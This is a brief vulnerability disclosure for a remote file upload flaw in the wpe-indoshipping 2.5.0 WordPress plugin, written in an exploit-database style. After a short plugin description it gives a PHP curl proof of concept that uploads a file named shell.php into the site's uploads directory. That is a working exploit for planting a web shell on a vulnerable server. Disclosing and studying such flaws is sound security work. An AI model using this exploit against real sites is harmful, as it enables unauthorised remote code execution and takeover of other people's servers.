Remote file upload vulnerability in wpe-indoshipping v2.5.0 wordpress plugin [Previously Discovered]
CVE ID(s):
CVE-none
Notified: 2015-07-13
Description:
Indonesian shipping special plugins to integrate with the plugin WP - Ecommerce. The final test at the WP - Ecommerce version 3.8.11.1 With WPE Indoshipping then you can display a list of postage per area in Indonesia that you choose . Suitable to display a list of postage from JNE , TIKI or the other and will directly affect the value of your order .
Exploit:
<?php
$uploadfile="/var/www/shell.php";
$ch =
curl_init("http://example.com/upload-file.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('uploadfile'=>"@$uploadfile",'upload_path'=>'/usr/share/wordpress/wp-content/uploads/','name'=>'shell.php'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>